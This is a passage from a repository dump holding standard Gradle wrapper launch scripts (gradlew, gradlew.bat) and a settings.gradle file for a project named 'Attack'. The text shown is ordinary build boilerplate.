-h "$PRG" ] ; do 30 | ls=`ls -ld "$PRG"` 31 | link=`expr "$ls" : '.*-> \(.*\)$'` 32 | if expr "$link" : '/.*' > /dev/null; then 33 | PRG="$link" 34 | else 35 | PRG=`dirname "$PRG"`"/$link" 36 | fi 37 | done 38 | SAVED="`pwd`" 39 | cd "`dirname \"$PRG\"`/" >/dev/null 40 | APP_HOME="`pwd -P`" 41 | cd "$SAVED" >/dev/null 42 | 43 | APP_NAME="Gradle" 44 | APP_BASE_NAME=`basename "$0"` 45 | 46 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 47 | DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' 48 | 49 | # Use the maximum available, or set MAX_FD != -1 to use that value. 50 | MAX_FD="maximum" 51 | 52 | warn () { 53 | echo "$*" 54 | } 55 | 56 | die () { 57 | echo 58 | echo "$*" 59 | echo 60 | exit 1 61 | } 62 | 63 | # OS specific support (must be 'true' or 'false'). 64 | cygwin=false 65 | msys=false 66 | darwin=false 67 | nonstop=false 68 | case "`uname`" in 69 | CYGWIN* ) 70 | cygwin=true 71 | ;; 72 | Darwin* ) 73 | darwin=true 74 | ;; 75 | MINGW* ) 76 | msys=true 77 | ;; 78 | NONSTOP* ) 79 | nonstop=true 80 | ;; 81 | esac 82 | 83 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar 84 | 85 | 86 | # Determine the Java command to use to start the JVM. 87 | if [ -n "$JAVA_HOME" ] ; then 88 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 89 | # IBM's JDK on AIX uses strange locations for the executables 90 | JAVACMD="$JAVA_HOME/jre/sh/java" 91 | else 92 | JAVACMD="$JAVA_HOME/bin/java" 93 | fi 94 | if [ ! -x "$JAVACMD" ] ; then 95 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME 96 | 97 | Please set the JAVA_HOME variable in your environment to match the 98 | location of your Java installation." 99 | fi 100 | else 101 | JAVACMD="java" 102 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 103 | 104 | Please set the JAVA_HOME variable in your environment to match the 105 | location of your Java installation." 106 | fi 107 | 108 | # Increase the maximum file descriptors if we can. 109 | if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then 110 | MAX_FD_LIMIT=`ulimit -H -n` 111 | if [ $? -eq 0 ] ; then 112 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then 113 | MAX_FD="$MAX_FD_LIMIT" 114 | fi 115 | ulimit -n $MAX_FD 116 | if [ $? -ne 0 ] ; then 117 | warn "Could not set maximum file descriptor limit: $MAX_FD" 118 | fi 119 | else 120 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" 121 | fi 122 | fi 123 | 124 | # For Darwin, add options to specify how the application appears in the dock 125 | if $darwin; then 126 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" 127 | fi 128 | 129 | # For Cygwin or MSYS, switch paths to Windows format before running java 130 | if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then 131 | APP_HOME=`cygpath --path --mixed "$APP_HOME"` 132 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` 133 | 134 | JAVACMD=`cygpath --unix "$JAVACMD"` 135 | 136 | # We build the pattern for arguments to be converted via cygpath 137 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` 138 | SEP="" 139 | for dir in $ROOTDIRSRAW ; do 140 | ROOTDIRS="$ROOTDIRS$SEP$dir" 141 | SEP="|" 142 | done 143 | OURCYGPATTERN="(^($ROOTDIRS))" 144 | # Add a user-defined pattern to the cygpath arguments 145 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then 146 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" 147 | fi 148 | # Now convert the arguments - kludge to limit ourselves to /bin/sh 149 | i=0 150 | for arg in "$@" ; do 151 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` 152 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option 153 | 154 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition 155 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` 156 | else 157 | eval `echo args$i`="\"$arg\"" 158 | fi 159 | i=`expr $i + 1` 160 | done 161 | case $i in 162 | 0) set -- ;; 163 | 1) set -- "$args0" ;; 164 | 2) set -- "$args0" "$args1" ;; 165 | 3) set -- "$args0" "$args1" "$args2" ;; 166 | 4) set -- "$args0" "$args1" "$args2" "$args3" ;; 167 | 5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; 168 | 6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; 169 | 7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; 170 | 8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; 171 | 9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; 172 | esac 173 | fi 174 | 175 | # Escape application args 176 | save () { 177 | for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done 178 | echo " " 179 | } 180 | APP_ARGS=`save "$@"` 181 | 182 | # Collect all arguments for the java command, following the shell quoting and substitution rules 183 | eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS" 184 | 185 | exec "$JAVACMD" "$@" 186 | -------------------------------------------------------------------------------- /gradlew.bat: -------------------------------------------------------------------------------- 1 | @rem 2 | @rem Copyright 2015 the original author or authors. 3 | @rem 4 | @rem Licensed under the Apache License, Version 2.0 (the "License"); 5 | @rem you may not use this file except in compliance with the License. 6 | @rem You may obtain a copy of the License at 7 | @rem 8 | @rem https://www.apache.org/licenses/LICENSE-2.0 9 | @rem 10 | @rem Unless required by applicable law or agreed to in writing, software 11 | @rem distributed under the License is distributed on an "AS IS" BASIS, 12 | @rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | @rem See the License for the specific language governing permissions and 14 | @rem limitations under the License. 15 | @rem 16 | 17 | @if "%DEBUG%" == "" @echo off 18 | @rem ########################################################################## 19 | @rem 20 | @rem Gradle startup script for Windows 21 | @rem 22 | @rem ########################################################################## 23 | 24 | @rem Set local scope for the variables with windows NT shell 25 | if "%OS%"=="Windows_NT" setlocal 26 | 27 | set DIRNAME=%~dp0 28 | if "%DIRNAME%" == "" set DIRNAME=. 29 | set APP_BASE_NAME=%~n0 30 | set APP_HOME=%DIRNAME% 31 | 32 | @rem Resolve any "." and ".." in APP_HOME to make it shorter. 33 | for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi 34 | 35 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 36 | set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" 37 | 38 | @rem Find java.exe 39 | if defined JAVA_HOME goto findJavaFromJavaHome 40 | 41 | set JAVA_EXE=java.exe 42 | %JAVA_EXE% -version >NUL 2>&1 43 | if "%ERRORLEVEL%" == "0" goto execute 44 | 45 | echo. 46 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 47 | echo. 48 | echo Please set the JAVA_HOME variable in your environment to match the 49 | echo location of your Java installation. 50 | 51 | goto fail 52 | 53 | :findJavaFromJavaHome 54 | set JAVA_HOME=%JAVA_HOME:"=% 55 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe 56 | 57 | if exist "%JAVA_EXE%" goto execute 58 | 59 | echo. 60 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 61 | echo. 62 | echo Please set the JAVA_HOME variable in your environment to match the 63 | echo location of your Java installation. 64 | 65 | goto fail 66 | 67 | :execute 68 | @rem Setup the command line 69 | 70 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar 71 | 72 | 73 | @rem Execute Gradle 74 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* 75 | 76 | :end 77 | @rem End local scope for the variables with windows NT shell 78 | if "%ERRORLEVEL%"=="0" goto mainEnd 79 | 80 | :fail 81 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of 82 | rem the _cmd.exe /c_ return code! 83 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 84 | exit /b 1 85 | 86 | :mainEnd 87 | if "%OS%"=="Windows_NT" endlocal 88 | 89 | :omega 90 | -------------------------------------------------------------------------------- /settings.gradle: -------------------------------------------------------------------------------- 1 | pluginManagement { 2 | repositories { 3 | google() 4 | mavenCentral() 5 | gradlePluginPortal() 6 | } 7 | } 8 | dependencyResolutionManagement { 9 | repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS) 10 | repositories { 11 | google() 12 | mavenCentral() 13 | } 14 | } 15 | 16 | rootProject.name = "Attack" 17 | include ':app' 18 | --------------------------------------------------------------------------------